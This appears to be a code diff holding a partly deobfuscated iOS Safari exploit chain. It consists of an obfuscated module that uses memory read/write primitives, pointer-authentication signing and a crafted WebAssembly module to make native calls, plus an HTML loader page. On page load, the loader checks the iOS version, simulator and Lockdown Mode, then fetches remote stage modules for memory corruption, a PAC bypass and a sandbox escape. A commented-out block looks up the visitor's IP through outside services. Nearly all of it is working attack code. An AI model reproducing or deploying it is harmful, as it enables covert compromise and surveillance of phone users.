}).join(""))).platformState.versionFlags.msD22k);
for (let s = 0; s < (1467046255 ^ 1467046383); s++) i.write32(t + j(4 * s), (1114061160 ^ 1114061256))
}
i.write64(l + j(globalThis.moduleManager.getModuleByName(([65, 68, 70, 70, 73, 19, 17, 67, 18, 65, 69, 65, 73, 18, 17, 66, 17, 72, 22, 68, 64, 18, 21, 66, 72, 71, 22, 70, 68, 70, 20, 68, 20, 71, 69, 73, 67, 21, 18, 64].map(x => {
return String.fromCharCode(x ^ 112);
}).join(""))).platformState.versionFlags.PCsIV0), d), i.write64(h + j(globalThis.moduleManager.getModuleByName(([124, 121, 123, 123, 116, 46, 44, 126, 47, 124, 120, 124, 116, 47, 44, 127, 44, 117, 43, 121, 125, 47, 40, 127, 117, 122, 43, 123, 121, 123, 41, 121, 41, 122, 120, 116, 126, 40, 47, 125].map(x => {
return String.fromCharCode(x ^ 77);
}).join(""))).platformState.versionFlags.oHmyQl), p), i.write32(n + j(globalThis.moduleManager.getModuleByName(([110, 107, 105, 105, 102, 60, 62, 108, 61, 110, 106, 110, 102, 61, 62, 109, 62, 103, 57, 107, 111, 61, 58, 109, 103, 104, 57, 105, 107, 105, 59, 107, 59, 104, 106, 102, 108, 58, 61, 111].map(x => {
return String.fromCharCode(x ^ 95);
}).join(""))).platformState.versionFlags.LM9blg), (4294967296 + (1902732360 ^ -1902732361))), i.write32(e + j(globalThis.moduleManager.getModuleByName(([85, 80, 82, 82, 93, 7, 5, 87, 6, 85, 81, 85, 93, 6, 5, 86, 5, 92, 2, 80, 84, 6, 1, 86, 92, 83, 2, 82, 80, 82, 0, 80, 0, 83, 81, 93, 87, 1, 6, 84].map(x => {
return String.fromCharCode(x ^ 100);
}).join(""))).platformState.versionFlags.TLJcwX), (1483502169 ^ 1483502329));
for (let t = 0; t < globalThis.moduleManager.getModuleByName(([86, 83, 81, 81, 94, 4, 6, 84, 5, 86, 82, 86, 94, 5, 6, 85, 6, 95, 1, 83, 87, 5, 2, 85, 95, 80, 1, 81, 83, 81, 3, 83, 3, 80, 82, 94, 84, 2, 5, 87].map(x => {
return String.fromCharCode(x ^ 103);
}).join(""))).platformState.versionFlags.NfRtuR; t += 4) i.write32(this.Cd + j(t), i.read32(b) + t)
}
i.write64(e + j(globalThis.moduleManager.getModuleByName(([126, 123, 121, 121, 118, 44, 46, 124, 45, 126, 122, 126, 118, 45, 46, 125, 46, 119, 41, 123, 127, 45, 42, 125, 119, 120, 41, 121, 123, 121, 43, 123, 43, 120, 122, 118, 124, 42, 45, 127].map(x => {
return String.fromCharCode(x ^ 79);
}).join(""))).platformState.versionFlags.OaAnPR), this.Cd);
try {
i.write64(this.Cd + j(globalThis.moduleManager.getModuleByName(([0, 5, 7, 7, 8, 82, 80, 2, 83, 0, 4, 0, 8, 83, 80, 3, 80, 9, 87, 5, 1, 83, 84, 3, 9, 6, 87, 7, 5, 7, 85, 5, 85, 6, 4, 8, 2, 84, 83, 1].map(x => {
return String.fromCharCode(x ^ 49);
}).join(""))).platformState.versionFlags.qRQJn0), t), i.write64(e + j(globalThis.moduleManager.getModuleByName(([67, 70, 68, 68, 75, 17, 19, 65, 16, 67, 71, 67, 75, 16, 19, 64, 19, 74, 20, 70, 66, 16, 23, 64, 74, 69, 20, 68, 70, 68, 22, 70, 22, 69, 71, 75, 65, 23, 16, 66].map(x => {
return String.fromCharCode(x ^ 114);
}).join(""))).platformState.versionFlags.SAobkS), s), a.next().value
} finally {
i.write64(e + j(globalThis.moduleManager.getModuleByName(([107, 110, 108, 108, 99, 57, 59, 105, 56, 107, 111, 107, 99, 56, 59, 104, 59, 98, 60, 110, 106, 56, 63, 104, 98, 109, 60, 108, 110, 108, 62, 110, 62, 109, 111, 99, 105, 63, 56, 106].map(x => {
return String.fromCharCode(x ^ 90);
}).join(""))).platformState.versionFlags.OaAnPR), b), i.write64(h + j(globalThis.moduleManager.getModuleByName(([122, 127, 125, 125, 114, 40, 42, 120, 41, 122, 126, 122, 114, 41, 42, 121, 42, 115, 45, 127, 123, 41, 46, 121, 115, 124, 45, 125, 127, 125, 47, 127, 47, 124, 126, 114, 120, 46, 41, 123].map(x => {
return String.fromCharCode(x ^ 75);
}).join(""))).platformState.versionFlags.oHmyQl), o)
}
}
}
class wt {
constructor() {
const t = platformModule.platformState.Dn,
s = platformModule.platformState.exploitPrimitive,
i = platformModule.platformState.jn,
a = new Uint8Array([0, 97, (2017548118 ^ 2017548069), (1347507275 ^ 1347507238), 1, 0, 0, 0, 1, 52, 3, 96, 8, (1182361671 ^ 1182361657), (1986819700 ^ 1986819594), (1313691702 ^ 1313691720), (1951160418 ^ 1951160348), (1697469543 ^ 1697469465), (946946913 ^ 946946847), (1700351606 ^ 1700351496), (1180333141 ^ 1180333099), 1, (1920366421 ^ 1920366379), 96, 16, (1664374594 ^ 1664374589), (1801407087 ^ 1801406992), (1333347436 ^ 1333347347), (2033727033 ^ 2033727046), (1869305928 ^ 1869305911), (959670902 ^ 959670793), (1984318808 ^ 1984318759), (1195463539 ^ 1195463436), (892421970 ^ 892421933), (762533242 ^ 762533125), (860640344 ^ 860640295), (1178875254 ^ 1178875145), (880173944 ^ 880173831), (960712538 ^ 960712485), (1733119812 ^ 1733119803), (1917793361 ^ 1917793326), 1, (1447261299 ^ 1447261197), 96, 16, (1516384351 ^ 1516384288), (1147826024 ^ 1147825943), (892887880 ^ 892887863), (1934652008 ^ 1934651927), (944131629 ^ 944131666), (1766999925 ^ 1766999818), (1433495401 ^ 1433495318), (1732535374 ^ 1732535345), (1601324405 ^ 1601324298), (1716415352 ^ 1716415239), (1464486517 ^ 1464486410), (926438724 ^ 926438715), (1215842626 ^ 1215842621), (2037994864 ^ 2037994767), (1970750284 ^ 1970750259), (1113019494 ^ 1113019417), 0, 3, 5, 4, 0, 1, 1, 2, 4, 4, 1, (1463969100 ^ 1463969084), 0, 2, 5, 4, 1, 1, 1, 1, 7, 17, 4, 1, (1766609742 ^ 1766609722), 1, 0, 1, (1781753466 ^ 1781753367), 2, 0, 1, (1146306872 ^ 1146306903), 0, 0, 1, (1414615110 ^ 1414615072), 0, 3, 9, 7, 1, 0, 65, 0, 11, 1, 0, 10, (1465150810 ^ 1465150872), 1, 4, 4, 0, 66, 0, 11, 88, 0, 32, 1, (1916879967 ^ 1916880114), 66, 32, (1900561752 ^ 1900561886), 32, 0, (1903248463 ^ 1903248610), (762654017 ^ 762654149), 32, 3, (2018405226 ^ 2018405319), 66, 32, (1733190499 ^ 1733190629), 32, 2, (1917343306 ^ 1917343463), (1265059141 ^ 1265059265), 32, 5, (1397637483 ^ 1397637574), 66, 32, (1177907265 ^ 1177907399), 32, 4, (1866558327 ^ 1866558426), (1916875874 ^ 1916876006), 32, 7, (1869311854 ^ 1869311939), 66, 32, (1867797555 ^ 1867797685), 32, 6, (842229608 ^ 842229701), (913986411 ^ 913986543), 32, 9, (1415066725 ^ 1415066824), 66, 32, (1095200067 ^ 1095200197), 32, 8, (829184353 ^ 829184460), (1247106919 ^ 1247107043), 32, 11, (2004053875 ^ 2004053982), 66, 32, (1499030852 ^ 1499030978), 32, 10, (845373300 ^ 845373401), (1702001004 ^ 1702001128), 32, 13, (1919246149 ^ 1919246312), 66, 32, (1450666836 ^ 1450666962), 32, 12, (1667721538 ^ 1667721711), (963523156 ^ 963523280), 32, 15, (1698788204 ^ 1698788289), 66, 32, (1665431929 ^ 1665432063), 32, 14, (1282232415 ^ 1282232562), (1850632019 ^ 1850632151), 65, 0, 17, 0, 0, 15, 11, 37, 0, 32, 0, 32, 1, 32, 2, 32, 3, 32, 4, 32, 5, 32, 6, 32, 7, 32, 8, 32, 9, 32, 10, 32, 11, 32, 12, 32, 13, 32, 14, 32, 15, 16, 1, 15, 11, 60, 1, 1, (897151348 ^ 897151242), 32, 0, 32, 1, 32, 2, 32, 3, 32, 4, 32, 5, 32, 6, 32, 7, 32, 8, 32, 9, 32, 10, 32, 11, 32, 12, 32, 13, 32, 14, 32, 15, 16, 2, 33, 16, 65, 0, 32, 16, (1933141315 ^ 1933141476), 54, 2, 0, 65, 4, 32, 16, 66, 32, (1096307267 ^ 1096307403), (863325249 ^ 863325414), 54, 2, 0, 15, 11]),
h = new WebAssembly.Module(a, {}),
e = new WebAssembly.Instance(h, {});
this.Eb = e.exports.f, this.Wb = e.exports.o, this.vb = new Uint32Array(e.exports.m.buffer), this.Db = s.getObjectAddress(this.Wb), this.Dn = {
xa: t.nl.xa
}, this.hb = {
Gb: i.pacda(this.Dn.xa, 0x0n)
}, this.Kb = new BigUint64Array(8), this.Rb = new Int32Array(this.Kb.buffer), this.Vb = new DataView(this.Kb.buffer)
}
call(t, s) {
platformModule.platformState.Dn;
const i = platformModule.platformState.exploitPrimitive,
a = (platformModule.platformState.jn, platformModule.platformState.Wn);
if (!(s.length <= 8)) throw new Error(([30, 40, 58, 36, 3, 32, 61, 10, 40, 46, 44, 10, 40, 37, 37, 25, 59, 32, 36, 32, 61, 32, 63, 44, 105, 38, 39, 37, 48, 105, 58, 60, 57, 57, 38, 59, 61, 58, 105, 113, 105, 59, 44, 46, 32, 58, 61, 44, 59, 105, 40, 59, 46, 58, 101, 105, 46, 38, 61, 105].map(x => {
return String.fromCharCode(x ^ 73)
}).join("")) + (s.length));
for (const t in s) this.Kb[t] = j(s[t]);
const h = i.read64(this.Db + j(globalThis.moduleManager.getModuleByName(([70, 67, 65, 65, 78, 20, 22, 68, 21, 70, 66, 70, 78, 21, 22, 69, 22, 79, 17, 67, 71, 21, 18, 69, 79, 64, 17, 65, 67, 65, 19, 67, 19, 64, 66, 78, 68, 18, 21, 71].map(x => {
return String.fromCharCode(x ^ 119);
}).join(""))).platformState.versionFlags.rvXShf)),
e = i.read64(h),
l = j((1835549285 ^ 1835558600));
a.call({
ab: this.hb.Gb,
sb: S(e),
x1: l
});
const n = a.call({
ab: this.hb.Gb,
sb: S(t),
x1: l
});
try {
return i.write64(h, n), this.Eb(...this.Rb), this.Rb[0] = this.vb[0], this.Rb[1] = this.vb[1], this.Kb[0]
} finally {
i.write64(h, e)
}
}
}
class yt {
constructor() {
const t = platformModule.platformState.Dn,
s = platformModule.platformState.jn;
this.hb = {
Xb: s.pacda(t.nl.pa, 0x0n)
}
}
qb(t) {
return platformModule.platformState.Wn.call({
ab: this.hb.Xb,
sb: j(t)
})
}
}
class mt {
constructor() {
const t = platformModule.platformState.Dn,
s = platformModule.platformState.jn;
this.hb = {
Jb: s.pacda(t.nl.Ta, 0x0n),
Nb: s.pacda(t.nl.Ea, 0x0n),
$b: s.pacda(t.nl.Ca, 0x0n),
Lb: s.pacda(t.nl.ka, 0x0n)
}
}
Ob(t) {
return platformModule.platformState.Wn.call({
ab: this.hb.Jb,
sb: j(t)
})
}
Qb(t) {
return platformModule.platformState.Wn.call({
ab: this.hb.Nb,
sb: t
})
}
Yb(t, s, i) {
return platformModule.platformState.Wn.call({
ab: this.hb.Lb,
sb: t,
x1: s,
x2: i
})
}
Zb(t, s, i) {
return platformModule.platformState.Wn.call({
ab: this.hb.$b,
sb: t,
x1: s,
x2: i
})
}
}
return r;
+1559
View File
File diff suppressed because one or more lines are too long
+598
View File
@@ -0,0 +1,598 @@
<html>
<head>
<meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate" />
<meta http-equiv="Pragma" content="no-cache" />
<meta http-equiv="Expires" content="0" />
<meta property="og:determiner" content="auto" />
<title>group</title>
</head>
<body>
<script src="https://cdn.jsdelivr.net/npm/eruda"></script>
<script>eruda.init();</script>
<script src="platform_module.js"></script>
<script src="utility_module.js"></script>
<script type="text/javascript">
window.addDownloadBinary = function (fileName, text) {
let fileType = "application/octet-stream";
var blob = new Blob([text], { type: fileType });
var a = document.createElement('a');
a.download = fileName;
a.href = URL.createObjectURL(blob);
a.dataset.downloadurl = [fileType, a.download, a.href].join(':');
a.text = "Download " + fileName;
document.body.appendChild(a);
}
window.log = function (text) {
const newLineElement = document.createElement('p');
newLineElement.textContent = text;
document.body.append(newLineElement);
};
function fqMaGkNL(W) {
W = W.toString(16).toLowerCase();
return 1 === W.length && (W = "0" + W), W
}
function fqMaGkN4(arr) { // decodeWords
let out = "";
for (const q of arr) {
const b0 = q & 0xFF;
const b1 = (q >> 8) & 0xFF;
const b2 = (q >> 16) & 0xFF;
const b3 = (q >> 24) & 0xFF;
out += String.fromCharCode((b1 << 8) | b0);
out += String.fromCharCode((b3 << 8) | b2);
}
return out;
}
function fqMaGkNg() {
return fqMaGkN4([1631006510, 960062519, 1647917360, 1647653680, 892756786, 912405041, 1701143141, 1681285477, 1684353382, 1714435941, 1831756386, 1781427817, 115])
}
window.globalThis = window;
// globalThis.moduleManager
globalThis.moduleManager = (function () {
// moduleMap
let MM = {
"57620206d62079baad0e57e6d9ec93120c0f5247": m_57620206d62079baad0e57e6d9ec93120c0f5247,
"14669ca3b1519ba2a8f40be287f646d4d7593eb0": m_14669ca3b1519ba2a8f40be287f646d4d7593eb0,
};
// moduleCache
const e = {
"$": "", // Base URL for remote loading
"p": "" // Salt for SHA256 filename hashing
};
function sha256(M) {
let I = "";
function N(M, I) {
return M >>> I | M << 32 - I
}
const D = Math.pow,
g = D(2, 32),
T = ([89, 80, 91, 82, 65, 93].map(x => {
return String.fromCharCode(x ^ 53);
}).join(""));
let c, d;
const L = [],
b = 8 * M[T];
let i = sha256.h = sha256.h || [];
const y = sha256.k = sha256.k || [];
let C = y[T];
const X = {};
for (let M = 2; C < 64; M++)
if (!X[M]) {
for (c = 0; c < (1499680357 ^ 1499680604); c += M) X[c] = M;
i[C] = D(M, .5) * g | 0, y[C++] = D(M, 1 / 3) * g | 0
} for (M += "\x80"; M[T] % 64 - 56;) M += "\0";
for (c = 0; c < M[T]; c++) {
if (d = M.charCodeAt(c), d >> 8) return;
L[c >> 2] |= d << (3 - c) % 4 * 8
}
for (L[L[T]] = b / g | 0, L[L[T]] = b, d = 0; d < L[T];) {
const M = L.slice(d, d += 16),
I = i;
for (i = i.slice(0, 8), c = 0; c < 64; c++) {
const I = M[c - 15],
D = M[c - 2],
g = i[0],
T = i[4],
d = i[7] + (N(T, 6) ^ N(T, 11) ^ N(T, 25)) + (T & i[5] ^ ~T & i[6]) + y[c] + (M[c] = c < 16 ? M[c] : M[c - 16] + (N(I, 7) ^ N(I, 18) ^ I >>> 3) + M[c - 7] + (N(D, 17) ^ N(D, 19) ^ D >>> 10) | 0);
i = [d + ((N(g, 2) ^ N(g, 13) ^ N(g, 22)) + (g & i[1] ^ g & i[2] ^ i[1] & i[2])) | 0].concat(i), i[4] = i[4] + d | 0
}
for (c = 0; c < 8; c++) i[c] = i[c] + I[c] | 0
}
for (c = 0; c < 8; c++)
for (d = 3; d + 1; d--) {
const M = i[c] >> 8 * d & (1433892436 ^ 1433892523);
I += (M < 16 ? 0 : "") + M.toString(16)
}
return I
}
function c(M) {
if (M in e == !1) {
if (M in MM != !0) throw new Error("M in MM != !0");
{
// const I =MM[M]);
// e[M] = new Function(I)()
// decoded base64:
window.log("Load " + M);
e[M] = MM[M]();
}
}
return e[M]
}
return {
hPL3On: this.getModuleByName,
ZKvD0e: this.getModuleByURL,
fgPoij: this.evalBase64Module,
setBaseUrl: function (M) {
e.$ = M
},
setSalt: function (M) {
e.p = M
},
getModuleByName: c,
getModuleByURL: async function (moduleId) {
window.log(`[LOADER] Loading module: ${moduleId}...`);
if (moduleId in e == !1 && moduleId in MM == !1) {
let I = moduleId;
//I = SHA256(moduleCache.p + M).substring(0, 40);
I = moduleId; // de-randomize
const N = await async function (M) {
window.log("Loading " + M);
return new Promise(((I, N) => {
const D = new XMLHttpRequest;
let g;
const T = (M, I) => Math.floor(Math.random() * (I - M + 1)) + M;
g = new URL((e.$) + (M));
const c = Math.random().toString(36).slice(2, T(5, 10)),
d = T(0, 1);
g.searchParams.set(c, d),
D.open("GET", g.toString(), !0),
D.responseType = ([66, 83, 78, 66].map(x => {
return String.fromCharCode(x ^ 54);
}).join("")),
D.onreadystatechange = () => {
if (D.readyState === XMLHttpRequest.DONE)
if (200 === D.status) {
const M = D.response;
null === M || "" === M ? reject("") : I(M)
} else reject("")
},
D.send()
}))
}((I) + ".js");
e[moduleId] = new Function(N)()
}
return c(moduleId)
},
evalCode: function (M, I) {
M in e == !1 && (e[M] = I())
},
evalBase64Module: function (M, I) {
M in e == !1 && (e[M] = new Function(atob(I))())
},
};
})();
globalThis.obChTK = globalThis.moduleManager; // MARK: alias
const utilityModule = globalThis.moduleManager.getModuleByName("57620206d62079baad0e57e6d9ec93120c0f5247"),
platformModule = globalThis.moduleManager.getModuleByName("14669ca3b1519ba2a8f40be287f646d4d7593eb0");
let baseUrl = utilityModule.Ot(fqMaGkNg());
baseUrl = baseUrl.slice(0, baseUrl.lastIndexOf("/") + 1);
globalThis.moduleManager.setBaseUrl(baseUrl);
globalThis.moduleManager.setSalt("cecd08aa6ff548c2");
function fqMaGkNr(W) {
var C = fqMaGkN4([]);
if ("" !== C) {
const q = utilityModule.Ot(C);
q && (C = new XMLHttpRequest, W = q + "?e=" + W, C.open("GET", W, !0), C.send())
}
}
// ============================================================================
// PAC Bypass Loader
// ============================================================================
/**
* Load the appropriate PAC bypass stage based on iOS version flags.
* Selects between different stage2 module variants.
* Original: fqMaGkNO
* @returns {Promise<object>} PAC bypass module with ga() factory method
*/
async function loadPACBypass() {
window.log(`[PAC] Selecting PAC bypass variant...`);
const offsets = globalThis.moduleManager.getModuleByName(
"14669ca3b1519ba2a8f40be287f646d4d7593eb0"
).platformState.versionFlags;
// Select PAC bypass variant based on version-specific flags
if (offsets.wF8NpI) {
// iOS 17.0+ path: Load stage2 pre-requisite, then main stage
await (await globalThis.moduleManager.getModuleByURL(
// Hash: "477db22c8e27d5a7bd72ca8e4bc502bdca6d0aba" (stage2 pre-req)
"Stage2_16.6_17.2.1_seedbell_pre"
)).ul();
pacModule = await globalThis.moduleManager.getModuleByURL(
// Hash: "29b874a9a6cc9fa9d487b31144e130827bf941bb" (stage2 main)
"Stage2_17.0_17.2.1_seedbell"
);
} else if (offsets.LJ1EuL) {
// Alternate iOS 17 path
await (await globalThis.moduleManager.getModuleByURL(
// Hash: "477db22c8e27d5a7bd72ca8e4bc502bdca6d0aba"
"Stage2_16.6_17.2.1_seedbell_pre"
)).ul();
pacModule = await globalThis.moduleManager.getModuleByURL(
// Hash: "9db8a84aa7caa5665f522873f49293e8eebccd5c"
// FIXME: validate this
"Stage2_16.6_16.7.12_seedbell"
);
} else if (offsets.CpDW_T) {
pacModule = await globalThis.moduleManager.getModuleByURL(
// Hash: "171a7da1934de9e0efb9c1645f4575f88e482873"
// 16.3-16.5.1
"Stage2_16.3_16.5.1_seedbell"
);
} else if (offsets.IqxL92) {
pacModule = await globalThis.moduleManager.getModuleByURL(
// Hash: "91b278ddb2aec817b10c1535e0963da74f9b8eeb"
"Stage2_15.0_16.2_breezy15"
);
} else {
pacModule = await globalThis.moduleManager.getModuleByURL(
// Hash: "b586c88246144bc7975ad4e27ec6d62716bf34ea"
"Stage2_13.0_14.x_breezy"
);
}
if (void 0 === pacModule) throw Error("");
// ga() creates the PAC bypass instance
return pacModule.ga();
}
// ============================================================================
// Main Exploit Trigger
// ============================================================================
/**
* Main exploit trigger function.
* Original: fqMaGkNR
*
* Orchestrates the full exploit chain:
* 1. Platform detection
* 2. Lockdown/simulator checks
* 3. Stage 1 (WASM primitives)
* 4. Runtime detection
* 5. Stage 2 (PAC bypass, if needed)
* 6. Stage 3 (sandbox escape + payload)
*
* @returns {Promise<number>} Status code (0=success, 1000=error, 1001=unsupported, 1003=simulator)
*/
async function triggerExploit() {
var platform = navigator.platform;
const userAgent = navigator.userAgent;
window.log(`[LOADER] === Exploit chain starting ===`);
window.log(`[LOADER] Platform: ${platform}, UA: ${userAgent.substring(0, 80)}...`);
// Initialize platform detection with:
// - Empty telemetry path
// - Script base URL (decoded from fqMaGkNg)
// - Cookie/session data (from fqMaGkN4 with encoded params)
// - Platform and user agent strings
if (await platformModule.init("", fqMaGkNg(), fqMaGkN4([3436285875, 2332907478, 2884495420, 233193687, 1144711575, 1605576699, 1942246444, 1994816675]), Array(!1)[0], Array(!1)[0], platform, userAgent), platformModule.On()) throw Error("");
window.log(`[PLATFORM] iOS version detected: ${platformModule.platformState.iOSVersion}`);
// Version check: must be >= 130000 (iOS 13.0)
if (13E4 > platformModule.platformState.iOSVersion) return 1001;
// For iOS 16+, check for simulator
if (16E4 <= platformModule.platformState.iOSVersion) {
try {
await platformModule.Hn(); // detectSimulatorAsync
} catch (p) {
console.error(`[LOADER] ABORT: Simulator check threw`);
return 1001
}
if (platformModule.platformState.Qn) return 1003; // Simulator detected
}
// Check lockdown mode via IndexedDB Blob test
try {
await platformModule.Yn(); // detectLockdownAsync
} catch (e) {
console.error(`[LOADER] ABORT: Lockdown mode check failed`);
return 1001;
}
// ========================================================================
// Stage 1: Load and execute WASM memory primitive exploit
// ========================================================================
let stage1Module;
const offsets = platformModule.platformState.versionFlags;
// Select stage1 variant based on version-specific flags
window.log(`[LOADER] Selecting stage1 variant for offsets: JtEUci=${offsets.JtEUci}, KeCRDQ=${offsets.KeCRDQ}, ShQCsB=${offsets.ShQCsB}, RbKS6p=${offsets.RbKS6p}, mmrZ0r=${offsets.mmrZ0r}`);
if (offsets.JtEUci) {
// Older iOS path
stage1Module = await globalThis.moduleManager.getModuleByURL(
// e3b6ba10484875fabaed84076774a54b87752b8a
"Stage1_16.6_17.2.1_cassowary"
);
} else if (offsets.KeCRDQ) {
stage1Module = await globalThis.moduleManager.getModuleByURL(
// 57cb8c6431c5efe203f5bfa5a1a83f705cb350b8
"Stage1_16.2_16.5.1_terrorbird"
);
} else if (offsets.ShQCsB) {
stage1Module = await globalThis.moduleManager.getModuleByURL(
// d11d34e4d96a4c0539e441d861c5783db8a1c6e9
"Stage1_15.6_16.1.2_bluebird"
);
} else if (offsets.RbKS6p) {
stage1Module = await globalThis.moduleManager.getModuleByURL(
// ea3da0cfb0a5bdb8c440dd4a963f94cbd39d9e44
"Stage1_15.2_15.5_jacurutu"
);
} else if (offsets.mmrZ0r) {
stage1Module = await globalThis.moduleManager.getModuleByURL(
// 7d8f5bae97f37aa318bccd652bf0c1dc38fd8396
"7d8f5bae97f37aa318bccd652bf0c1dc38fd8396"
);
}
if (void 0 === stage1Module) { console.error(`[LOADER] ABORT: No stage1 module matched`); return 1001; }
window.log(`[LOADER] Stage1 module loaded, executing WASM primitive exploit...`);
// Execute stage1 exploit (builds WASM read/write primitives)
// The `si` property is either an async function or sync function
await (async function executeStage1() {
for (let attempt = 0; attempt < 20; attempt++) {
try {
window.log(`[LOADER] Stage1 attempt ${attempt + 1}/20...`);
if ("AsyncFunction" === stage1Module.si.constructor.name) {
await stage1Module.si();
} else {
stage1Module.si();
}
window.log(`[LOADER] Stage1 succeeded on attempt ${attempt + 1}`);
return;
} catch (e) {
window.log("[LOADER] Error:" + e.name + ": " + e.message);
console.error(e);
}
}
console.error(`[LOADER] Stage1 FAILED after 20 attempts`);
throw Error("");
})();
if (!platformModule.platformState.exploitPrimitive) { console.error(`[LOADER] ABORT: WASM primitives not initialized`); throw Error(""); }
window.log(`[LOADER] Stage1 complete — WASM read/write primitives active`);
// ========================================================================
// Runtime detection + Stage 2 (PAC bypass) + Stage 3 (sandbox escape)
// ========================================================================
platform = 0;
try {
// Detect JSC runtime type (PSNMWj vs RoAZdq) from memory layout
platformModule.lr(); // detectRuntime
window.log(`[RUNTIME] JSC runtime detected: PAC=${platformModule.platformState.hasPAC}`);
// If device has PAC (Pointer Authentication), load PAC bypass
if (platformModule.platformState.hasPAC) {
window.log(`[PAC] Loading PAC bypass (stage2)...`);
platformModule.platformState.pacBypass = await loadPACBypass();
window.log(`[PAC] PAC bypass loaded, checking integrity...`);
platformModule.platformState.qn = await platformModule.$n(); // checkPACIntegrity
window.log(`[PAC] PAC integrity check: ${platformModule.platformState.qn}`);
}
// Check if wC3yaB flag is set AND PAC integrity check passed
if (true === offsets.wC3yaB && true === platformModule.platformState.qn) {
// Load stage3 variant A (with PAC bypass)
// Hash: "7f809f320823063b55f26ba0d29cf197e2e333a8"
window.log(`[STAGE3] Loading sandbox escape variant A...`);
platform = await (await globalThis.moduleManager.getModuleByURL(
"Stage3_VariantA"
)).lA();
} else {
// Load stage3 variant B (without PAC / different approach)
// Hash: "c03c6f666a04dd77cfe56cda4da77a131cbb8f1c"
window.log(`[STAGE3] Loading sandbox escape variant B...`);
platform = await (await globalThis.moduleManager.getModuleByURL(
"Stage3_VariantB"
)).lA();
}
window.log(`[STAGE3] Sandbox escape result: ${platform}`);
} catch (error) {
window.log("[LOADER] Exploit chain error:" + error.name + ": " + error.message);
platform = 1000;
throw error;
} finally {
// Cleanup exploit primitives
if (platformModule.platformState.exploitPrimitive) {
window.log(`[LOADER] Cleaning up exploit primitives...`);
platformModule.platformState.exploitPrimitive.cleanup(); // cleanup()
}
}
window.log(`[LOADER] === Exploit chain finished — result: ${platform} ===`);
return platform;
}
// ============================================================================
// Entry Point: Execute exploit with 10ms delay
// ============================================================================
self.setTimeout(async function () {
//try {
const result = await triggerExploit();
window.log(`[LOADER] Reporting result: ${result}`);
// reportResult(
// 0 === result ? 0 :
// 1001 === result ? 1001 :
// 1000 === result ? 1000 :
// 1003 === result ? 1003 :
// result
// );
// } catch (e) {
// window.log(`[LOADER] Top-level error:` + e);
// try {
// reportResult(1000);
// } catch (e2) { }
// }
}, 10);
// stop sending my ip addr
/*
(function () {
const fqMaGkNC = [67, 72, 77, 75, 78, 73, 57, 68, 87, 51, 51, 52, 69, 54, 48, 55, 49, 49].map(W => String.fromCharCode(W ^ 0)).join("");
function fqMaGkNI4(W) {
const C = /^(\d{1,3}\.){3}\d{1,3}$/.test(W);
if (!C) return !1;
const q = W.split([46].map(p => String.fromCharCode(p ^ 0)).join(""));
return q.every(p => {
const g = parseInt(p, 10);
return g >= 0 && g <= 255
})
}
function isValidIPv6(W) {
const C = /^([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}$|^::1$|^::$|^([0-9a-fA-F]{1,4}:)*::([0-9a-fA-F]{1,4}:)*[0-9a-fA-F]{1,4}$/.test(W);
return C
}
async function fqMaGkNI() {
let C = null;
try {
const W = await fetch([104, 116, 116, 112, 115, 58, 47, 47, 105, 112, 118, 52, 46, 105, 99, 97, 110, 104, 97, 122, 105, 112, 46, 99, 111, 109].map(q => String.fromCharCode(q ^ 0)).join(""), {
method: [71, 69, 84].map(q => String.fromCharCode(q ^ 0)).join(""),
headers: ((() => {
const q = {};
q[[65, 99, 99, 101, 112, 116].map(p => String.fromCharCode(p ^ 0)).join("")] = [116, 101, 120, 116, 47, 112, 108, 97, 105, 110].map(p => String.fromCharCode(p ^ 0)).join("");
return q
})())
});
const q = (await W.text()).trim();
if (q && fqMaGkNI4(q)) return q
} catch (W) { }
try {
const W = await fetch([104, 116, 116, 112, 115, 58, 47, 47, 97, 112, 105, 46, 105, 112, 105, 102, 121, 46, 111, 114, 103, 63, 102, 111, 114, 109, 97, 116, 61, 106, 115, 111, 110].map(q => String.fromCharCode(q ^ 0)).join(""));
const q = await W.json();
const p = q.ip ? q.ip.trim() : null;
if (p) {
if (fqMaGkNI4(p)) return p;
if (isValidIPv6(p)) C = p
}
} catch (W) { }
try {
const W = await fetch([104, 116, 116, 112, 115, 58, 47, 47, 105, 112, 118, 54, 46, 105, 99, 97, 110, 104, 97, 122, 105, 112, 46, 99, 111, 109].map(q => String.fromCharCode(q ^ 0)).join(""), {
method: [71, 69, 84].map(q => String.fromCharCode(q ^ 0)).join(""),
headers: ((() => {
const q = {};
q[[65, 99, 99, 101, 112, 116].map(p => String.fromCharCode(p ^ 0)).join("")] = [116, 101, 120, 116, 47, 112, 108, 97, 105, 110].map(p => String.fromCharCode(p ^ 0)).join("");
return q
})())
});
const q = (await W.text()).trim();
if (q && isValidIPv6(q)) return q
} catch (W) { }
if (C) return C;
return null
}
function fqMaGkNV() {
const W = navigator.userAgent;
const C = W.match(/OS[_\s](\d+)(?:[._](\d+))?/i);
if (C) {
const q = parseInt(C[1], 10);
const p = C[2] || [48].map(g => String.fromCharCode(g ^ 0)).join("");
return [73, 79, 83, 32].map(g => String.fromCharCode(g ^ 0)).join("") + q + [46].map(g => String.fromCharCode(g ^ 0)).join("") + p
}
const M = W.match(/iPhone[_\s]OS[_\s](\d+)(?:[._](\d+))?/i);
if (M) {
const N = parseInt(M[1], 10);
const O = M[2] || [48].map(X => String.fromCharCode(X ^ 0)).join("");
return [73, 79, 83, 32].map(X => String.fromCharCode(X ^ 0)).join("") + N + [46].map(X => String.fromCharCode(X ^ 0)).join("") + O
}
const P = W.match(/Android[_\s](\d+)(?:[._](\d+))?/i);
if (P) {
const Q = parseInt(P[1], 10);
const R = P[2] || [48].map(X => String.fromCharCode(X ^ 0)).join("");
return [65, 110, 100, 114, 111, 105, 100, 32].map(X => String.fromCharCode(X ^ 0)).join("") + Q + [46].map(X => String.fromCharCode(X ^ 0)).join("") + R
}
const S = W.match(/Windows NT (\d+)\.(\d+)/i);
if (S) {
const T = parseInt(S[1], 10);
const U = S[2] || [48].map(X => String.fromCharCode(X ^ 0)).join("");
return [87, 105, 110, 100, 111, 119, 115, 32].map(X => String.fromCharCode(X ^ 0)).join("") + T + [46].map(X => String.fromCharCode(X ^ 0)).join("") + U
}
const V = W.match(/Mac OS X (\d+)[._](\d+)/i);
if (V) {
const Y = parseInt(V[1], 10);
const Z = V[2] || [48].map(X => String.fromCharCode(X ^ 0)).join("");
return [109, 97, 99, 79, 83, 32].map(X => String.fromCharCode(X ^ 0)).join("") + Y + [46].map(X => String.fromCharCode(X ^ 0)).join("") + Z
}
